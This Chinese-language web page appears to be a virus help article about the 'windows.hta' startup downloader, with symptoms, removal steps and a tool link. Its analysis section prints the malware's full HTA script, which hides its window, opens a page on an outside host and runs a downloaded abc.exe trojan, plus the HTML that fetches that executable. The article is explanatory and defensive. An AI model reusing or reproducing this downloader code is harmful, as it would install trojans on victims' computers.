|
|
<BR><P><STRONG><FONT color=#000000>windows.hta病毒中毒症状:</FONT></STRONG></P>
<P><FONT color=#000000>启动项里出现了windows.hta,杀毒软件报告他从<U>WWW.IF56.COM</U>下载木马</FONT></P>
<P><STRONG><FONT color=#000000>windows.hta病毒分析:</FONT></STRONG></P>
<P><FONT color=#000000>最近几天接连遇见HTA(</FONT><FONT color=#000000><FONT size=3>HTML Application的缩写,HTML应用程序)编写的病毒下载器,主要是以下这两个:<BR>C:\Documents and Settings\All Users\「开始」菜单\程序\启动\Windows.hta <BR>C:\Documents and Settings\All Users\「开始」菜单\程序\启动\Server.hta <BR><BR>以Windows.hta为例,看下代码:<BR><BR>=============================================================<BR><html><body><script>window.moveTo(4000,4000);window.resizeTo(0,0);var shell=new ActiveXObject("wscript.shell");shell.Run("C:\\Progra~1\\Intern~1\\IEXPLORE.EXE http://www.if56.cn/lo/downmm.html",0,0);function runmm(){var path=shell.SpecialFolders("MyDocuments");var savepath=path.substring(0,path.lastIndexOf("\\"));savepath+="\\Local Settings\\Temporary Internet Files\\Content.IE5\\";var sp=new ActiveXObject("shell.application");var Folders=sp.NameSpace(savepath);for(i=0;i<Folders.Items().Count;i++){var Folder=Folders.Items().Item(i).Path;Folder+="\\abc[1].exe";try{shell.Exec(Folder);}catch(e){};}window.close();};shell.Run("cmd.exe /c tree c:\\ /f",0,1);runmm();</script></body></html><BR>=============================================================<BR><BR>程序随机自启动,成功执行后连接到地址</FONT><FONT size=3>http://www.if56.cn/lo/downmm.html下载木马,</FONT></FONT><FONT size=3><FONT color=#000000>downmm.html代码如下:<BR><BR>=============================================================<BR><html><BR><title><BR>downmm<BR></title><BR><script src="http://www.hotbus.cn/it/200706/abc.exe"></script><BR><body><BR>start download.............................<BR></body><BR></html><BR>=============================================================<BR><BR>这个abc.exe经过avast扫描,发现木马病毒:WIN32:Nilage-AI<BR><BR><STRONG>windows.hta病毒清除办法:</STRONG></FONT></P>
<DIV style="FONT-SIZE: 12px"><FONT color=#000000>第一:开始-程序-启动-删除那个文件<BR>第二:删除历史文件,IE的COOKIES,以及脱机网页<BR>第三:使用诺顿杀毒软件可以查杀的。</FONT></DIV>
<DIV style="FONT-SIZE: 12px"> </DIV></FONT>
<P><FONT size=3><STRONG><FONT color=#0000ff>windows.hta病毒专杀工具下载:</FONT><A href="http://www.hotbus.cn/it/200706/2266.html"><FONT color=#0000ff>/it/200706/2266.html</FONT></A></STRONG></FONT></P> <BR>
|
|